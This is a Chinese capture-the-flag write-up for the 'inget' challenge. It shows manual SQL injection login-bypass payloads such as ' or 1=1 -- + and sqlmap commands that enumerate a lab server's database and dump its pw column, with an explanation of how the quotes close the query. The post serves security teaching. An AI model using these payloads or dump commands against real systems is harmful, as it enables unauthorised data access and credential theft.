攻防世界14-inget

14-inget

image-20240308093413115

image-20240308094212665

方法1:使用hackbar进行sql手工注入

右键检查,进入到hackbar界面,点击load将链接添加进来,而后使用万能用户名进行注入

尝试一下万能密码,使用逻辑语句使结果返回,构造payload

比如理解 /?id=' or ''='

传入到后台就是'id=1' or "=" 前两个单引号形成一个闭合,后面的双引号可以理解为单引号引着单引号,就可以理解为单引号等于单引号

image-20240327091407747

界面就可以看到flag,注意,添加的万能用户名之前要有?id=

方法2:借助sqlmap

1.安装sqlmap

先下载sqlmap,网址:sqlmap: automatic SQL injection and database takeover tool 注意这个网址科学上网打开更快

image-20240315204928754

windows下使用sqlmap

该工具的使用需要有python环境,所以需要将下载好的sqlmap包放到python的文件夹下

image-20240315205405101

在电脑桌面上右键,新建-新建快捷方式

image-20240315205507496

image-20240315205539110

输入cmd

image-20240315205608221

改名为sqlmap,而后右键属性,进入更改起始位置为放sqlmap的位置

image-20240315205758516

双击进入该快捷方式,输入:python sqlmap.py -h 查看是否安装成功,有如下显示就是已经安装成功

image-20240315205928003

一步一步的查询

1.先用sqlmap大概检查一下:

python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1"

image-20240327092945342

2.尝试列出所有的库

python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" --dbs

image-20240327093127377

可以看到有一个名为cyber的数据库,我们指定列出该数据库中的表

python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber --tables

image-20240327093403955

可以看到这个数据库里只有一个表,且和数据库同名,我们继续列出指定表的字段

python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber -T cyber --columns

image-20240327093705310

一般情况下内容都是在pw中,尝试获取指定字段pw中的数据,-C 选择使用哪个列

python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber -T cyber -C pw --dump

image-20240327093925830

常用术语

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--tables 列出当前的表

--columns 列出当前的列

--dump 获取字段中的数据

kali下使用sqlmap

首先你需要安装vm用于安装kali,而后需要安装kali镜像,具体的安装办法,可以查看我的其他文章

kali里面已经安装好了python环境,我们将sqlmap的文件夹粘贴到桌面上,并进入到该文件夹下

而后执行命令:python3 sqlmap.py -u "http://61.147.171.105:49361/index.php?id=1" -T cyber --dump (注意这里是python3)

image-20240316095516734

image-20240316095534675


知识点:sql注入

先来看为什么手工注入可以显示出flag,尝试的万能密码

  • /?id='or "='

    我们以get的方式在前给id进行传值,后端会对我们传入的数值进行查询,如何查询?

    比如我们传入id=123,那么后端就会是'id=123',以单引号闭合的方式进行闭合.

    当我们传入?/id=' or "=' 的时候,到后端就是'id=' or "="

    对于我们传入的四个单引号的解释:

    第一个单引号,与查询时前面的单引号形成闭合;

    第二个单引号,与查询时后面的单引号形成闭合;

    第三和第四个单引号实际上只是使等号成立的内容,即'='

    我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的

  • /?id=' or '1=1

    换成1的意思就是 1=1,显然是成立的

    • /?id=' or 1 = 1 -- +

      第一个单引号同样是与查询时前面的单引号形成闭合,而 --+ 起注释作用,将后面的语句注释掉

  • 43
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值